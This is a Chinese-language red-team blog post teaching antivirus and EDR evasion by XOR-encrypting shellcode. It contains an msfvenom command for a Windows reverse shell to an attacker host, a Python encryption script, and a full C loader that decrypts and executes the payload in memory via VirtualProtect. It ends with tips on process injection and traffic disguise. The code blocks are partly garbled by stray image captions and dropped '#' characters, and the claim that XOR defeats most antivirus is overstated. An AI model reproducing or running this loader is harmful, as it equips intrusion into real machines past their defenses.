0x01 Shellcode的秘密花园

在我多年的红队生涯中,「Shellcode加密免杀」一直是个绕不开的话题。想要在目标环境中成功执行恶意代码,必须先绕过各种安全防护机制。Shellcode作为攻击载荷的核心,自然成为重点关注对象。Shellcode通常以二进制字节流的形式存在,容易被防病毒软件(AV)和端点检测响应(EDR)识别。为了解决这个问题,我们可以对Shellcode进行加密处理,使其在传输和持久化过程中不易被检测。今天,我们将深入探讨如何加密Shellcode,使其免杀。

0x02 环境搭建的狂欢

有一次,我在一个测试环境中试验加密技术。搭建环境是每次攻击的基础。为了让大家都能复现我的实验,环境搭建必须清晰到位。

虚拟机配置

  • 攻击机:Kali Linux,安装Python和GCC编译器
  • 靶机:Windows 10装有最新版本的安全软件
  • 网络配置:两台机器在同一内网中,以模拟真实环境

在Kali上,我通常会配置好Metasploit和Cobalt Strike,以便快速进行攻击和测试。

工具准备

黑客示意图

  • Python:用于编写加密和解密脚本
  • C语言:编写用于靶机执行的源码
  • x86汇编:生成Shellcode的基础

0x03 Payload构造的艺术

在这次实验中,我构造了一个简单的反向Shellcode。这个Shellcode通过连接回攻击机,实现远程命令执行。为了让它不被检测,我们需要对它进行加密。

Shellcode生成

使用Metasploit生成一个最基础的Shellcode。命令如下:

<pre><code class="language-bash">msfvenom -p windows/shell_reverse_tcp LHOST=&lt;攻击机IP&gt; LPORT=4444 -f c</code></pre>

这条命令会生成一个C语言格式的Shellcode,接下来就能进行加密处理。

加密实现

为了加密Shellcode,我选择了一种简单却有效的异或加密。具体实现如下:

Python加密脚本 <pre><code class="language-python">def xor_encrypt(data, key): encrypted = bytearray() for byte in data: encrypted.append(byte ^ key) return encrypted

shellcode = bytearray([

Shellcode bytes here

])

黑客示意图

key = 0x55 # 用一个简单的异或密钥 encrypted_shellcode = xor_encrypt(shellcode, key)

输出加密后的Shellcode

print(encrypted_shellcode)</code></pre>

这个简单的异或加密足以让大多数防病毒软件失效,因为它们很难识别被异或变换过的Shellcode。

0x04 绕过与免杀的冒险

加密只是第一步,如何让加密后的Shellcode在目标机上运行而不被检测,是我们需要解决的下一个难题。为此,我们需要在靶机上进行解密,恢复原始Shellcode并执行。

解密与执行

在靶机上,我编写了一个C语言程序来解密并执行Shellcode。以下是完整代码:

C语言解密执行代码 <pre><code class="language-c">#include &lt;stdio.h&gt;

include &lt;stdlib.h&gt;

include &lt;string.h&gt;

include &lt;windows.h&gt;

黑客示意图

void xor_decrypt(unsigned char *data, size_t len, unsigned char key) { for (size_t i = 0; i &lt; len; i++) { data[i] ^= key; } }

int main() { unsigned char encrypted_shellcode[] = { // 加密后的Shellcode bytes };

unsigned char key = 0x55; // 与加密时用的密钥保持一致 size_t len = sizeof(encrypted_shellcode);

xor_decrypt(encrypted_shellcode, len, key);

void *exec = VirtualAlloc(0, len, MEM_COMMIT, PAGE_READWRITE); memcpy(exec, encrypted_shellcode, len);

DWORD oldProtect; VirtualProtect(exec, len, PAGE_EXECUTE_READ, &amp;oldProtect);

((void(*)())exec)(); // 执行Shellcode

return 0; }</code></pre>

这个程序在运行时解密Shellcode,并在内存中改变页面属性以执行它。

0x05 检测与防御的对策

尽管我们成功绕过了检测,面对新的EDR产品时,我们仍然需要保持警惕。了解其检测机制是我们继续优化免杀方案的关键。大多数EDR会监控内存中可疑的代码执行行为,因此我们需要继续伪装Shellcode的执行过程。

伪装技巧

  • 流量伪装:通过使用混淆协议或加密通道,避免流量被简单识别。
  • 代码混淆:在代码中加入垃圾指令或使用动态解密技术,降低被静态分析的可能性。
  • 内存载入:使用进程注入技术,将Shellcode载入合法进程空间。

0x06 红队的经验之谈

在这篇文章中,我分享了我在实战中对Shellcode加密免杀的一些经验。这不是一个万能的解决方案,而是一个思路。每次攻击都需要根据具体情况进行调整。以下是我的几点经验:

  • 保持灵活性:没有一种技术能永远有效,必须根据目标环境调整策略。
  • 持续学习:安全技术日新月异,持续学习新技术是红队的必备技能。
  • 合法测试:始终在授权范围内进行测试,避免法律问题。

在实践中不断累积经验,才能够在实战中游刃有余。希望这次分享能为你的红队工作提供一些启发。